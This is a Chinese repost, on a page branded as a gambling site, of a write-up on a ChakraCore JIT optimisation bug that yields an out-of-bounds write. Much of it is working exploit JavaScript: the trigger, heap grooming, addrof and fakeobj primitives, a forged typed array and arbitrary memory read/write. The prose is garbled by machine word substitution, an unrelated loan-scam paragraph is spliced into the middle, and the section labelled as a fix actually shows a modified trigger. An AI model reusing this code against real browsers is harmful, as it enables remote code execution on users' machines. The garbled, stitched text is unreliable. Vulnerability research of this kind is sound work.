隐藏在Chakra引擎中的一个RCE破绽 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

隐藏在Chakra引擎中的一个RCE破绽

申博_安全工具 申博 61次浏览 未收录 0个评论

Chakra (JScript引擎)是一个由微软为其Internet Explorer 9、Internet Explorer 10、Internet Explorer 11和Microsoft Edge等网页浏览器开辟的JavaScript引擎。其特征是,它在一个自力的CPU核心上立即编译剧本,与浏览器并行。该引擎也能够接见电脑的图形处置惩罚器(GPU),特别是对3D图形和视频的状况。

ChakraCore中的JSObject

与其他引擎一样,在ChakraCore中,对象的“默许”存储情势运用指向保留属性值的一连内存缓冲区的指针,并运用名为Type的对象来形貌存储给定属性称号的属性值的位置。

因而,JSObject的规划以下:

vfptr:假造表指针;

type:保留Type指针;

auxSlots:指向缓冲区坚持对象属性的指针;

objectArray:如果对象具有索引属性,则指向JSArray。

为了防止在向对象增添新属性时对之前的属性举行从新分派和复制,斟酌到未来的属性增添auxSlots缓冲区将以特定的大小扩大。

ChakraCore中的JSArray

数组存储运用3种范例的存储,并许可优化:

NativeIntArray,个中的数组以4个字节的情势存储;

NativeFloatArray,个中的数组以8个字节的情势存储;

JavascritpArray,数组存储在其被封装的示意中,并直接存储对象指针;

JIT背景引见

ChakraCore有一个JIT编译器,它经过了两层优化:

1. SimpleJit;

2. FullJit。

FullJit层是实行一切优化的层,并运用一个简朴的算法对被优化的函数的掌握流图(CFG)举行优化:

1. 向后优化;

2. 向前优化;

3. 另一个向后的优化(称为DeadStore 优化)。

在这些优化历程当中,FullJit层会在每一个基本块处网络数据以跟踪关于运用示意JS变量的种种标记的种种信息,但也能够示意内部字段和指针。向前优化还会公然标记的运用,这基本上许可晓得给定的标记今后是不是会被运用,并据此采用种种行为。

破绽引见

该破绽是在2018年9月的提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2中引入的,如果我们检察提交,会看到它尝试优化一个名为AdjustObjType的指令,并引入了一个名为AdjustObjTypeReloadAuxSlotPtr的新指令。

看看以下代码段:

function opt(obj) {

    ...
    // assume obj->auxSlots is full at this stage
    
    obj.new_property = 1; // [[ 1 ]]

    ...}

JIT必需在[[1]]处天生AdjustObjType指令,以便准确地扩大后备缓冲区。

这个优化试图运用向上优化的运用信息来决议它是不是应当天生一个AdjustObjType或AdjustObjTypeReloadAuxSlotPtr,基本原理是,如果该对象上没有更多的属性接见权限,我们就没必要从新加载auxSlots指针。

鄙人面的要领中,我们能够在向后优化中看到特定的逻辑:

voidBackwardPass::InsertTypeTransition(IR::Instr *instrInsertBefore, StackSym *objSym, AddPropertyCacheBucket *data, BVSparse<JitArenaAllocator>* upwardExposedUses){
    Assert(!this->IsPrePass());

    IR::RegOpnd *baseOpnd = IR::RegOpnd::New(objSym, TyMachReg, this->func);
    baseOpnd->SetIsJITOptimizedReg(true);

    JITTypeHolder initialType = data->GetInitialType();
    IR::AddrOpnd *initialTypeOpnd =
        IR::AddrOpnd::New(data->GetInitialType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func);
    initialTypeOpnd->m_metadata = initialType.t;

    JITTypeHolder finalType = data->GetFinalType();
    IR::AddrOpnd *finalTypeOpnd =
        IR::AddrOpnd::New(data->GetFinalType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func);
    finalTypeOpnd->m_metadata = finalType.t;

    IR::Instr *adjustTypeInstr =            // [[ 1 ]]        IR::Instr::New(Js::OpCode::AdjustObjType, finalTypeOpnd, baseOpnd, initialTypeOpnd, this->func); 

    if (upwardExposedUses)
    {
        // If this type change causes a slot adjustment, the aux slot pointer (if any) will be reloaded here, so take it out of upwardExposedUses.        int oldCount;
        int newCount;
        Js::PropertyIndex inlineSlotCapacity;
        Js::PropertyIndex newInlineSlotCapacity;
        bool needSlotAdjustment =
            JITTypeHandler::NeedSlotAdjustment(initialType->GetTypeHandler(), finalType->GetTypeHandler(), &oldCount, &newCount, &inlineSlotCapacity, &newInlineSlotCapacity);
        if (needSlotAdjustment)
        {
            StackSym *auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym();
            if (auxSlotPtrSym)
            {
                if (upwardExposedUses->Test(auxSlotPtrSym->m_id))
                {
                    adjustTypeInstr->m_opcode =                 // [[ 2 ]]                    Js::OpCode::AdjustObjTypeReloadAuxSlotPtr;
                }
            }
        }
    }

    instrInsertBefore->InsertBefore(adjustTypeInstr);}

默许状况下,我们能够看到,在[[1]]处,如果测试upwardExposedUses-> Test(auxSlotPtrSym-> m_id)胜利,它将天生一个AdjustObjType指令并仅将该指令范例变动成其变量AdjustObjTypeReloadAuxSlotPtr。

然后,我们能够看到在处置惩罚这些特定指令的小写字母中天生的逻辑:

voidLowerer::LowerAdjustObjType(IR::Instr * instrAdjustObjType){
    IR::AddrOpnd *finalTypeOpnd = instrAdjustObjType->UnlinkDst()->AsAddrOpnd();
    IR::AddrOpnd *initialTypeOpnd = instrAdjustObjType->UnlinkSrc2()->AsAddrOpnd();
    IR::RegOpnd  *baseOpnd = instrAdjustObjType->UnlinkSrc1()->AsRegOpnd();

    bool adjusted = this->GenerateAdjustBaseSlots(
        instrAdjustObjType, baseOpnd, JITTypeHolder((JITType*)initialTypeOpnd->m_metadata), JITTypeHolder((JITType*)finalTypeOpnd->m_metadata));

    if (instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr)
    {
        Assert(adjusted);

        // We reallocated the aux slots, so reload them if necessary.        StackSym * auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym();
        Assert(auxSlotPtrSym);

        IR::Opnd *opndIndir = IR::IndirOpnd::New(baseOpnd, Js::DynamicObject::GetOffsetOfAuxSlots(), TyMachReg, this->m_func);
        IR::RegOpnd *regOpnd = IR::RegOpnd::New(auxSlotPtrSym, TyMachReg, this->m_func);
        regOpnd->SetIsJITOptimizedReg(true);
        Lowerer::InsertMove(regOpnd, opndIndir, instrAdjustObjType);
    }

    this->m_func->PinTypeRef((JITType*)finalTypeOpnd->m_metadata);

    IR::Opnd *opnd = IR::IndirOpnd::New(baseOpnd, Js::RecyclableObject::GetOffsetOfType(), TyMachReg, instrAdjustObjType->m_func);
    this->InsertMove(opnd, finalTypeOpnd, instrAdjustObjType);

    initialTypeOpnd->Free(instrAdjustObjType->m_func);
    instrAdjustObjType->Remove();}

我们能够看到,如果instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr,则将增添分外的逻辑以从新加载auxSlots指针。

够简朴吧!可问题是,优化后,现实上并不能一般事变,而且会致使破绽。

比方该代码片断:

function opt(obj) {

    ...
    // assume obj->auxSlots is full at this stage
    
    obj.new_property = 1; // [[ 1 ]]}

能够看到,此次没有任何超出属性存储的代码会致使运用auxSlots,这意味着obj的auxSlots指针不会被设置为向上优化,因而如许的优化将天生一个AdjustObjType指令。

但一个小问题是, auxSlots指针确切会被从新加载,所以如果我们看一下在某些状况下发作在幕后发作的事变,那我们能够发明以下逻辑:

1. auxSlots指针是“运动的”,并加载在寄存器中;

2. 在写入新属性之前实行AdjustObjType;

3. auxSlots指针未被从新加载;

4. 运用先前的auxSlots指针写入属性。

因而,我们终究在原始的auxSlots缓冲区以后举行了8字节的OOB写入操纵,这已充足完成一个高度牢靠的R/W原语。

要触发此破绽(至少是第一个版本),我们能够运用异常复杂的JavaScript函数:

function opt(obj) {
    obj.new_property = obj.some_existing_property;}

破绽应用

设定我们的进击目的

在应用这个破绽时,我发明将我想要完成的目的举行规范化一点确切很有用,以便准确地斟酌所需的任何中心步骤。

我的目的是完成两个尽人皆知的原语:

1. addrof将许可我们走漏任何JavaScript对象的内部地点;

2. fakeobj whill将许可我们在内存中的恣意地点处猎取JavaScript对象的句柄。

破绽应用中的限定

依据我们如今对情势的相识,我们必需斟酌几个减缓步伐。

起首,我们不掌握写入OOB的偏移量,它将始终是auxSlots缓冲区以后的第一个QWORD。

其次,我们不能编写恣意值,因为我们将分派一个JSValue。在Chakra中,这意味着如果我们分派整数0x4141,它将写入0x1000000004141,反复(double)的地方将用0xfffc << 48标记,凡是有相似的任何其他值,都将意味着写入指针OOB。

【蚂借蚁呗】是骗局?黑客缴获资料:借6w,被骗6w3!

案件还原 我被骗了,你能帮帮我吗? 正在知乎(摸鱼)找素材的我突然收到朋友发来一条消息。 自从我做了反网络犯罪的宣传之后,发现周围被骗的人还真多(怕不是柯南附体)。 通过了解,我发现这是一个很常规的贷款诈骗。 我朋友创业中需要点周转资金。当然她也是吃我很多犯罪宣传安利的小白鼠,基本判断能力是有的。 比如这种她就不会上当! 当然,这种也不会! 这种短信有特定对象。如果没有用,他就不会存在了。 ps:后台有粉丝发过营销短信诈骗。购买营销短信也要当心呀。 出于信任以及

找到要掩盖的目的

我们须要斟酌一个好的目的来掩盖,因为Chakra普遍运用假造要领,这意味着大多数对象现实大将假造表指针作为其第一个qword。如果没有infoleak并且在Control-Flow Guard的庇护下,这是不可能完成的。

为了将这个8字节的OOB写入转换为一个更壮大的原语,我终究将数组段作为要掩盖的目的。

为了处置惩罚希罕数组(sparsearray),Chakra运用了一个基于分段的完成来防止猖獗地内存扩大。

let arr = [];arr[0] = 0;arr[0xfff] = 1;

能够看到,在上面的代码片断中,为了防止分派0x1000 * 4个字节来存储两个值,Chakra将此数组示意为具有两个段的数组:

第一个段从索引0处最先,值为0;

第二个段从索引0xfff处最先,值为1;

这两个段在内存中具有以下规划:

uint32_t left:段的最左边索引;

uint32_t length:在该段中设置的最高索引;

uint32_t size:段的现实大小/可存储元素的数目;

segment * next:指向下一个段的指针(如果有的话);

这两个段的元素将在以后举行内联存储,构成一个完全的代码段。

正如你所看到的,段的第一个QWORD有用地保留了两个看起来异常风趣的字段来掩盖。更主要的是,我们能够运用一个带有标签的数值。如果我们写入0x4000 OOB,将获得一个代码段,个中left == 0x4000和length == 0x10000会许可我们以更自在的体式格局读取段的OOB。

如今我们须要处置惩罚的是如安在auxSlots缓冲区以后安排一个段,以便我们能够掩盖段的前8个字节。

Chakra Heap Feng-Shui

Chakra中的大多数对象都是经由历程他们的Recycler来分派的,它许可渣滓网络器完成它的事变。它是一个桶式分派器,个中内存局限被保留给特定大小的桶。这意味着,终究在同一个桶中的大小的对象极可能相互相邻,如果这些对象不在同一个桶中,那末完成两个分派将是异常难题的。

值得光荣的是,我们能够掌握auxSlots分派到哪一个桶中,因为我们能够在通报之前掌握对象上设置的属性数目。因而我疾速地尝试向一个对象增添随机数目的属性,直到我晓得哪一个数值是准确的,如许:

1. auxSlots与新数组段被分派在同一个存储桶中;

2. auxSlots已被填满。

如果我们有一个具有20个属性的对象,我们将满足这两个前提。

提议进击

掩盖数组段的另一个优点是,我们将能够经由历程通例JavaScript检测是不是发作了进击。运用了的战略以下:

1. 建立一个NativeFloatArray;

2. 设置一个high index(0x7000),这将完成两件事,起首封闭它将在数组上设置长度变量,以防止引擎在我们接见OOB索引并建立新段时发作毛病;

3. 建立具有20个属性的对象:这将在准确的桶中分派我们的auxSlots;

4. 经由历程分派索引0x1000建立一个新段。

经由历程在第3步以后实行第4步,我们尝试在步骤3中分派的对象的auxSlots以后增添索引0x1000的新段的可能性。

然后我们将运用触发器(trigger)编写0x4000越界。如果我们的触发胜利了,我们会将段的索引变动成0x4000,因而如果我们读取该索引处的标记值,我们就会晓得它是有用的。

以下就是进击数组段时所用的代码:

// this creates an object of a certain size which makes so that its auxSlots is full// adding a property to it will require growing the auxSlots bufferfunction make_obj() {
    let o = {};
    o.a1=0x4000;
    o.a2=0x4000;
    o.a3=0x4000;
    o.a4=0x4000;
    o.a5=0x4000;
    o.a6=0x4000;
    o.a7=0x4000;
    o.a8=0x4000;
    o.a9=0x4000;
    o.a10=0x4000;
    o.a11=0x4000;
    o.a12=0x4000;
    o.a13=0x4000;
    o.a14=0x4000;
    o.a15=0x4000;
    o.a16=0x4000;
    o.a17=0x4000;
    o.a18=0x4000;
    o.a19=0x4000;
    o.a20=0x4000;
    return o;}function opt(o) {
    o.pwn = o.a1;}for (var i = 0; i < 1000; i++) {
        arr = [1.1];
        arr[0x7000] = 0x200000 // Segment the array
        let o = make_obj(); // 
        arr[0x1000] = 1337.36; // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index
        opt(o);   
        // now if we triggered the bug, we overwrote the first qword of the segment 
        // for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 
        // (tagged integer 0x4000)
        // if we access 0x4000 and read the marker value we put, then we know it was corrupted
        if (arr[0x4000] == 1337.36) {
            print("[+] corruption worked");
            break;
        }
    }

我们如今能够经由历程索引0x4000最先接见arr,并读取溢出缓冲区末端的途径。别的要注意的是,因为arr是一个包括float的数组,所以它将被示意为NativeFloatArray,这将许可我们将内存中的值以原始数值的情势读取。

构建Addrof

在上述的进击中,我们已能够设想出一个稳固的addrof原语。如今,我们要做的是完成一个规划,在这个规划中,被进击的段被一个包括对象指针的数组直接跟随在内存中。经由历程从我们的段中读取OOB,我们将能够读取这些指针值,并将其作为原始数值返回到JavaScript中。

以下就是addrof设置的历程展现:

addrof_idx = -1;function setup_addrof(toLeak) {
    for (var i = 0; i < 1000; i++) {
        addrof_hax = [1.1];
        addrof_hax[0x7000] = 0x200000;
        let o = make_obj();
        addrof_hax[0x1000] = 1337.36;
        opt(o);   
        if (addrof_hax[0x4000] == 1337.36) {
            print("[+] corruption done for addrof");
            break;
        }
    }
    addrof_hax2 = [];
    addrof_hax2[0x1337]  = toLeak;

    // this will be the first qword of the segment of addrof_hax2 which holds the object we want to leak
    marker = 2.1219982213e-314 // 0x100001337;
    
    for (let i = 0; i < 0x500; i++) {
        let v = addrof_hax[0x4010 + i];
        if (v == marker) {
            print("[+] Addrof: found marker value");
            addrof_idx = i;         
            return;
        }
    }
    
    setup_addrof();}var addrof_setupped = false;function addrof(toLeak) {
    if (!addrof_setupped) {
        print("[!] Addrof layout not set up");
        setup_addrof(toLeak);
        addrof_setupped = true;
        print("[+] Addrof layout done!!!");
    }  
    addrof_hax2[0x1337] = toLeak
    return f2i(addrof_hax[0x4010 + addrof_idx + 3]);}

构建Fakeobj

要构建fakeobj,我们将做一样的事变,但反过来,我们将损坏javascript tarray的一个段,并将一个段放在NativeFloatArray以后。然后,我们将能够在float数组中捏造指针值(值以未装箱的体式格局存储),并经由历程从对象数组段中读出超出局限的未绑定值示意指针的边境来猎取指针句柄。

function setup_fakeobj(addr) {
    for (var i = 0; i < 100; i++) {
        fakeobj_hax = [{}];
        fakeobj_hax2 = [addr];
        fakeobj_hax[0x7000] = 0x200000 
        fakeobj_hax2[0x7000] = 1.1;
        let o = make_obj();
        fakeobj_hax[0x1000] = i2f(0x404040404040); 
        fakeobj_hax2[0x3000] = addr;
        fakeobj_hax2[0x3001] = addr;
        opt(o);   

        if (fakeobj_hax[0x4000] == i2f(0x404040404040)) {
            print("[+] corruption done for fakeobj");
            break;
        }
    }
    return fakeobj_hax[0x4000 + 20] // access OOB into fabeobj_hax2}var fakeobj_setuped = false;function fakeobj(addr) {
    if (!fakeobj_setuped) {
        print("[!] Fakeobj layout not set up");
        setup_fakeobj(addr);
        fakeobj_setuped = true;
        print("[+] Fakeobj layout done!!!");
    }   
    fakeobj_hax2[0x3000] = addr;
    return fakeobj_hax[0x4000 + 20]}

猎取恣意R/W原语

此时,完成R/W原语的步骤异常简朴,我在SSTIC 2019 的演讲中已诠释过了。

为了获得一个R/W原语,我们将捏造一个Uint32Array,如许我们就能够掌握它的缓冲区指针。

为了在Chakra中捏造一个范例化数组,我们必需晓得它的vtable指针,因为它将在我们最先为其赋值时运用。我们的第一步是猎取一个vtable指针,并运用静态偏移量计算我们想要的vtable指针。

为此,我们将运用如许一个现实:当运用 new Array(<size>)语法分派时,其数据将内联存储,且数组的大小不凌驾特定的尺寸。末了再运用我们的addrof原语,使我们能够将恣意数据放在内存中的已知位置。

为了让vtable内存走漏,我们将运用以下战略:

1. 分派一个内联数组a;

2. 在a以后,分派一个内联数组b;

3. 在a的末端捏造一个Uint64Number,使包括该值的字段与b的vtable指针堆叠;

4. 对捏造的数值挪用parseInt,如许它将以数值的情势返回vtable指针。

为了准确地捏造一个Uint64Number,我们只须要捏造一个Type,它是为了申明这个对象的范例是Uint64Number,并将一些值设置为一个有用的地点。

其逻辑以下:

let a = new Array(16);
let b = new Array(16);

let addr = addrof(a);
let type = addr + 0x68; // a[4]

// type of Uint64
a[4] = 0x6; 
a[6] = lo(addr); a[7] = hi(addr);
a[8] = lo(addr); a[9] = hi(addr);

a[14] = 0x414141;
a[16] = lo(type)
a[17] = hi(type)

// object is at a[14]
let fake = fakeobj(i2f(addr + 0x90)) 
let vtable = parseInt(fake);

let uint32_vtable = vtable + offset;

如今我们有了一切我们想要捏造的范例数组:

type = new Array(16);
type[0] = 50; // TypeIds_Uint32Array = 50,
type[1] = 0;
typeAddr = addrof(type) + 0x58;
type[2] = lo(typeAddr); // ScriptContext is fetched and passed during SetItem so just make sure we don't use a bad pointer
type[3] = hi(typeAddr);

ab = new ArrayBuffer(0x1338);
abAddr = addrof(ab);

fakeObject = new Array(16);
fakeObject[0] = lo(uint32_vtable);
fakeObject[1] = hi(uint32_vtable);

fakeObject[2] = lo(typeAddr); 
fakeObject[3] = hi(typeAddr);

fakeObject[4] = 0; // zero out auxSlots
fakeObject[5] = 0;

fakeObject[6] = 0; // zero out objectArray 
fakeObject[7] = 0;

fakeObject[8] = 0x1000;
fakeObject[9] = 0;

fakeObject[10] = lo(abAddr); 
fakeObject[11] = hi(abAddr);

address = addrof(fakeObject);

fakeObjectAddr = address + 0x58;

arr = fakeobj(i2f(fakeObjectAddr));

R/W原语以下:

memory = {
    setup: function(addr) {
        fakeObject[14] = lower(addr); 
        fakeObject[15] = higher(addr);
    },
    write32: function(addr, data) {
        memory.setup(addr);
        arr[0] = data;
    },
    write64: function(addr, data) {
        memory.setup(addr);
        arr[0] = data & 0xffffffff;
        arr[1] = data / 0x100000000;
    },
    read64: function(addr) {
        memory.setup(addr);
        return arr[0] + arr[1] * BASE;
    }
};


print("[+] Reading at " + hex(address) + " value: " + hex(memory.read64(address)));

memory.write32(0x414243444546, 0x1337);

要想真正修复该破绽,我们只须要将make_obj和opt函数举行以下变动即可:

function make_obj() {
    let o = {};
    o.a1=0x4000;
    o.a2=0x4000;
    o.a3=0x4000;
    o.a4=0x4000;
    o.a5=0x4000;
    o.a6=0x4000;
    o.a7=0x4000;
    o.a8=0x4000;
    o.a9=0x4000;
    o.a10=0x4000;
    o.a11=0x4000;
    o.a12=0x4000;
    o.a13=0x4000;
    o.a14=0x4000;
    o.a15=0x4000;
    o.a16=0x4000;
    o.a17=0x4000;
    o.a18=0x4000;
    //o.a19=0x4000;
    //o.a20=0x4000;
    return o;}function opt(o) {
    o.__defineGetter__("accessor",() => {})
    o.a2; // set auxSlots as live
    o.pwn = 0x4000; // bug}

完全的破绽应用代码能够在这里找到!

原文地点: https://www.4hou.com/vulnerable/19328.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明隐藏在Chakra引擎中的一个RCE破绽
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址